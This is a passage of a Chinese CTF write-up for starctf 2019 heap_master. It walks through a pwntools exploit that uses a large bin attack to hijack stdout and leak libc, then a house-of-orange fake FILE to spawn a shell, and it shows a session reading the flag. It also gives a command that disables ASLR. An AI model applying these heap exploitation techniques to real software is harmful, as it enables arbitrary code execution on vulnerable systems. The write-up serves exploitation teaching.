edit(0,0x10,p64(0) + p64(0x421))
#3放入unsorted bin,3属于未归位的large bin
delete(0x890)
#0x90的堆放入unsorted bin
delete(0xCE0)
#遍历unsorted bin时发生large bin attack,攻击io_2_1_stdout
add(0x80)
print(p.recv(1))
print(p.recv(24))
data = p.recv(6)
libc_base = uu64(data) - libc.sym['_IO_file_jumps']
lg('libc_base',libc_base)
_IO_list_all_addr = libc_base + libc.sym['_IO_list_all']
system_addr = libc_base + libc.sym['system']
binsh_addr = libc_base + next(libc.search(b'/bin/sh'))
_IO_str_finish_ptr_addr = libc_base + 0x3c34b0
lg('_IO_list_all_addr',_IO_list_all_addr)
lg('system_addr',system_addr)
lg('binsh_addr',binsh_addr)
lg('_IO_str_finish_ptr_addr',_IO_str_finish_ptr_addr)

#house of orange glibc2.24-2.27
fake_file = p64(0) + p64(0x61) #unsorted bin attack
fake_file += p64(0) + p64(_IO_list_all_addr - 0x10)
#_IO_write_base < _IO_write_ptr
fake_file += p64(0) + p64(1)
fake_file += p64(0) + p64(binsh_addr)
fake_file = fake_file.ljust(0xC0,b'\x00')
fake_file += p64(0)*3
#vtable -> _IO_strn_jumps - 0x8
fake_file += p64(_IO_str_finish_ptr_addr - 0x18) #vtable
fake_file += p64(0)
fake_file += p64(system_addr)
delete(0xCE0) #unsorted bin
edit(0xCD0,len(fake_file),fake_file) #修改unsorted bin内容
#pause()
add(1)

#pause()
itr()

打本地的时候echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

1
2
3
4
5
6
7
8
9
10
11
12
7ffff7ffe000-7ffff7fff000 rw-p 00000000 00:00 0
7ffffffde000-7ffffffff000 rw-p 00000000 00:00 0 [stack]
$ cat /flag
[DEBUG] Sent 0xa bytes:
b'cat /flag\n'
[DEBUG] Received 0x1a bytes:
b'flag{this_is_a_test_flag}\n'
flag{this_is_a_test_flag}
$
[*] Interrupted
[*] Stopped process './starctf_2019_heap_master' (pid 485)
[*] Stopped process './starctf_2019_heap_master' (pid 483)

exp拆分讲解

在heapbase布局堆内存

布局了0x421,0x431,0x91大小的堆内存,其他的0x21是用来隔离的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#伪造8个chunk
#0
edit(0,0x100,p64(0) + p64(0x421) + b'a'*0xF0)
#1
edit(0x420,0x20,p64(0) + p64(0x21) + b'b'*0x10)
#2
edit(0x440,0x20,p64(0) + p64(0x21) + b'b'*0x10)
#3
edit(0x880,0x100,p64(0) + p64(0x431) + b'c'*0xF0)
#4
edit(0xCB0,0x20,p64(0) + p64(0x21) + b'd'*0x10)
#5
edit(0xCD0,0x90,p64(0) + p64(0x91) + b'e'*0x80)
#6
edit(0xD60,0x20,p64(0) + p64(0x21) + b'f'*0x10)
#7
edit(0xD80,0x20,p64(0) + p64(0x21) + b'g'*0x10)
将第一个chunk放入largebin中
1
2
3
4
#释放0,进入unsortedbin中
delete(0x10)
#malloc_consolidate将0放入large bin
add(0x430)
largebin_attack

largebin_attack就要对large_chunk的bk和bk_nextsize进行修改,这道题目中我们可以不断的通过edit()对heap_base那块内存进行修改和利用 unsortedbin 机制留下libc地址,而我们知道在unsortedbin中只有一个chunk时,必定会在这个chunk的bk,fd上留下libc的地址,所以我们要对这个large_chunk进行修改使它经过多次free()的机制留下libc地址

接下来,为了在bk和bk_nextsize处留下libc指针,我们要继续伪造unsorted bin

这里为什么留下libc的地址呢?

因为我们要劫持_IO_2_1_stdout_,它也是libc中的地址也在main_arena中,而且低3位是不会变化的,所以我们可以通过低字节覆盖,这样就只剩下一位需要爆破,概率1/16

1
2
3
4
5
6
7
8
9
#在bk_nextsize处留下libc指针
edit(0x10,0xF0,p64(0) + p64(0x91) + b'a'*0x80 + (p64(0) + p64(0x21) + b'a'*0x10) * 3)
delete(0x20)
add(0x80) #把unsorted bin申请掉

#在bk留下libc指针
edit(0,0x10,p64(0) + p64(0xC1))
delete(0x10)
add(0xB0) #把unsorted bin申请掉

覆盖率写在chunk0的libc地址的低字节,使flags字段位于addr1->fd,错位覆盖的方法使_IO_write_base的最低一字节为\x00,而我们的堆地址偏移设置的正好为~880(满足了hijack stdout的两个条件),通过那一位的爆破(或者重复运行exp)使chunk0->bk指向stdout就可以实现hijack stdout

1
2
3
4
5
6
7
8
9
10
11
12
13
#修改large bin的bk,指向stdout
edit(0x10,0xA,p64(0) + p16((0x2 << 12) + ((_IO_2_1_stdout_s - 0x10) & 0xFFF)))
#修改large bin的bk_nextsize,指向_IO_write_base
edit(0x20,0xA,p64(0) + p16((0x2 << 12) + ((_IO_2_1_stdout_s - 0x7) & 0xFFF)))
#在这里可以理解一下house of storm的任意地址写是堆glibc源码中哪个位置写
#恢复large bin的头size
edit(0,0x10,p64(0) + p64(0x421))
#3放入unsorted bin,3属于未归位的large bin
delete(0x890)
#0x90的堆放入unsorted bin
delete(0xCE0)
#遍历unsorted bin时发生large bin attack,攻击io_2_1_stdout
add(0x80)
地址计算
1
2
3
4
5
6
7
8
9
10
11
12
13
print(p.recv(1))
print(p.recv(24))
data = p.recv(6)
libc_base = uu64(data) - libc.sym['_IO_file_jumps']
lg('libc_base',libc_base)
_IO_list_all_addr = libc_base + libc.sym['_IO_list_all']
system_addr = libc_base + libc.sym['system']
binsh_addr = libc_base + next(libc.search(b'/bin/sh'))
_IO_str_finish_ptr_addr = libc_base + 0x3c34b0
lg('_IO_list_all_addr',_IO_list_all_addr)
lg('system_addr',system_addr)
lg('binsh_addr',binsh_addr)
lg('_IO_str_finish_ptr_addr',_IO_str_finish_ptr_addr)
get shell

利用house_of_orange来get shell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#house of orange glibc2.24-2.27
fake_file = p64(0) + p64(0x61) #unsorted bin attack
fake_file += p64(0) + p64(_IO_list_all_addr - 0x10)
#_IO_write_base < _IO_write_ptr
fake_file += p64(0) + p64(1)
fake_file += p64(0) + p64(binsh_addr)
fake_file = fake_file.ljust(0xC0,b'\x00')
fake_file += p64(0)*3
#vtable -> _IO_strn_jumps - 0x8
fake_file += p64(_IO_str_finish_ptr_addr - 0x18) #vtable
fake_file += p64(0)
fake_file += p64(system_addr)
delete(0xCE0) #unsorted bin
edit(0xCD0,len(fake_file),fake_file) #修改unsorted bin内容
#pause()
add(1)

新版largebin_attack

Large Bin Attack 源码调试

总结 large bin attack 的利用方法

how2heap 中也说了,large bin attack 是未来更深入的利用。现在我们来总结一下利用的条件(ctf-wiki):

  • 可以修改一个 large bin chunk 的 data
  • 从 unsorted bin 中来的 large bin chunk 要紧跟在被构造过的 chunk 的后面
  • 通过 large bin attack 可以辅助 Tcache Stash Unlink+ 攻击
  • 可以修改 _IO_list_all 便于伪造 _IO_FILE 结构体进行 FSOP。

参考

ha1vk